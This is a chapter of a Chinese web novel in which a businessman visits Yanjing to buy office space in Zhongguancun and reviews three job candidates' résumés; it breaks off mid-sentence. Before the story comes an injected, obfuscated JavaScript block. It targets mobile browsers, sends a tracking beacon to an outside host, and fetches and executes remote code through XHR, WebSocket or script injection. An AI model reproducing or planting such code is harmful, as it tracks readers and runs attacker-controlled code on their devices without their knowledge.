第238章投资一(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
4月30日,谈小天再一次踏上去往燕京的火车,只不过这次他带上了张满和孙丽。
清晨,谈小天三人拎着行李箱,随着人流走出出站口。
早就等候多时的金天网吧驻燕京的负责人瘦秋迎了上去,接过行李箱,将谈小天带到了一辆崭新的现代前。
由于金天网吧在燕京业务日趋稳定,分店众多,经各股东同意,给瘦秋配了辆车。
一进车里,瘦秋就邀功似的将一个档案袋奉上,“老板,你交代我的事都办的差不多了,人员已经选好,地址也看的差不多了,就等你点头了。”
谈小天打开档案袋,里面三份简历和一份写字楼的照片简介。
谈小天先拿起写字楼的照片看了看,瘦秋在旁做起了介绍。
“老板,按照你的要求,我在中关村远景大厦找到了这个写字楼,18楼,数字吉利,2000多平,租售均可。”
谈小天很快就看完了照片和简介,“现在燕京的写字楼行情如何?”
“去年特别好,好多新成立的it公司把写字楼行情托起来了,像国贸,最好位置的写字楼每平每月可以租到200多块钱,可是今年过完年就调头往下了,中关村那边好多it公司都倒闭了,租金也在往下调整。”
谈小天微微点头。
燕京的写字楼风潮起于93、94年,但一直都在低价徘徊,在98年东南亚金融危机时到达谷底,那时燕京城的商业地产进入寒冬,一片惨烈景象,大片大片的烂尾写字楼处于即使赔钱也没人买的尴尬境地。
直到99年11月,中美签署世贸双边准入协议,经济状况好转,新兴的it行业,网络公司,各大金融机构撑起了燕京的写字楼市场,从此商业地产迎来春天。
可惜好景不长,随着米国为代表的it泡沫破裂,大批的it,科技,网络公司破产,燕京的写字楼市场仅仅经历了一年多的发展又重新调头向下。
此时入手写字楼,正当其时。
谈小天此行就是想趁这个时机拿下一个写字楼,为未来进军燕京市场建立一个落脚点。
“先去宾馆休息一下,孙丽,下午你去这个远景大厦附近看看情况,重点是观察一下楼里的公司多不多以及附近商家的经营情况。”
“好的,老板。”
孙丽乖巧的答应了一声。
这是谈小天第一次带她出差,她既兴奋又害怕,有点担心自己的能力不足耽误了老板的事。
“开车!”
瘦秋发动了轿车,奔着中关村的方向驶去。
他之前应谈小天的要求在那附近订了家宾馆。
此时燕京就已经出现堵车了,现代走走停停,速度始终上不来。
谈小天借这个功夫,翻看起那三份人物简历。
第一份是个中年男人,叫季建东,42岁,燕京人,曾供职于燕京京创基金和亿兆风险投资公司,现无业,优点,有亲和力,交际广阔,酒量好,缺点,没有工作能力,学历低。
第二份同样是个中年男人,冷洪峰,45岁,律师,燕京大成律师事务所高级合伙人,擅长处理经济、金融领域纠纷,是几个大公司的法律顾问。
第三份简历是个三十出头的女人,从照片看妩媚动人,但精致的妆容却又透着一股冰冷气质。
詹止韵,31岁,商业领域的谈判专家,曾主导过国内几次著名的商业谈判。
谈小天看完,将三份简历塞回到档案袋,他对瘦秋的工作效率很满意,这三个人都是他目前迫切需要的人才。
“瘦秋,干的不错,以前在盛天时我可没看出来你还有这两下子,这几个人我都很满意。”
瘦秋呵呵一笑,“老板,虽然我挺喜欢听人夸的,不过找到这几个人真